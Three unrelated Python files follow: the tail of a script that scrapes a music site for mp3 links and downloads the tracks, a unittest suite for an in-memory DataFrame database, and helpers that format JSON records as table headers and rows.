	mp3_file = open("found.txt", 'w')
	for track in track_list:
		find_url = create_url(track)
		response = urllib.request.urlopen(find_url)
		soup = BeautifulSoup(response)
		track_links = soup.findAll('a', {"class": "musicset-track__download-link track-geo__control"})

		if (len(track_links) > 0):
			mp3_link = get_mp3_link_from_page(zaycev_net + track_links[0]["href"])
			if (mp3_link == None):
				out_file.write(track + '\n')
			else:
				mp3_file.write(mp3_link + '\n')
				time.sleep(5)
				try:
					urllib.request.urlretrieve(mp3_link, track + '.mp3')
				except:
					out_file.write(track + '\n')
				time.sleep(1)
		else:
			out_file.write(track + '\n')

	out_file.close()
	mp3_file.close()

def download_from_file(filename):
	list = get_track_list_from_file(filename)
	if (list == None):
		return
	download_track_list(list)

if __name__ == '__main__':
	print("Starting...")
	parser = argparse.ArgumentParser()
	parser.add_argument("--file", help="path to file with tracks")
	args = parser.parse_args()
	if args.file:
		print("Downloading tracks from file " + args.file)

	download_from_file(args.file)


import unittest
from in_memory import InMemoryDB
import pandas as pd
import numpy as np

class TestInMemoryDB(unittest.TestCase):
    def setUp(self):
        self.db = InMemoryDB()

    def test_insert(self):
        insert_data = pd.DataFrame(
            data={
                "link": ["https://www.google.com"],
                "text": ["i hate unittest"],
                "start": [0],
                "end": [10],
                "embedding": [[0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8]],
            }
        )
        self.db.insert(insert_data)
        self.assertTrue(pd.DataFrame.equals(insert_data, self.db.get()))

    def test_delete(self):
        data1 = pd.DataFrame(
            data={
                "link": ["https://www.google.com"],
                "text": ["i hate unittest"],
                "start": [0],
                "end": [10],
                "embedding": [[0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8]],
            }
        )
        self.db.insert(data1)
        self.assertTrue(pd.DataFrame.equals(data1, self.db.get()))

        data2 = pd.DataFrame(
            data={
                "link": ["example.com"],
                "text": ["i hate unittest"],
                "start": [0],
                "end": [10],
                "embedding": [[0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8]],
            }
        )
        self.db.insert(data2)
        self.assertTrue(
            pd.DataFrame.equals(
                pd.concat([data1, data2], ignore_index=True), self.db.get()
            )
        )

        self.db.delete("example.com")
        self.assertTrue(pd.DataFrame.equals(data1, self.db.get()))

if __name__ == "__main__":
    unittest.main()


import operator

tuple_key = operator.itemgetter(0)
tuple_val = operator.itemgetter(1)

def entry(json):
    sorted_kv = sorted(json.items(), key=tuple_key)
    headers = map(lambda t: tuple_key(t).capitalize(), sorted_kv)
    rows = map(tuple_val, sorted_kv)
    return (headers, rows)

def table(json, sort_field=None):
    headers = []
    rows = []
    if sort_field:
        json = sorted(json, key=lambda t: t[sort_field.lower()].lower())
    for entry in json:
        sorted_kv = sorted(entry.items(), key=tuple_key)
        sorted_v = map(tuple_val, sorted_kv)
        rows.append(sorted_v)
        if not headers:
            headers = map(lambda t: tuple_key(t).capitalize(), sorted_kv)
    return (headers, rows)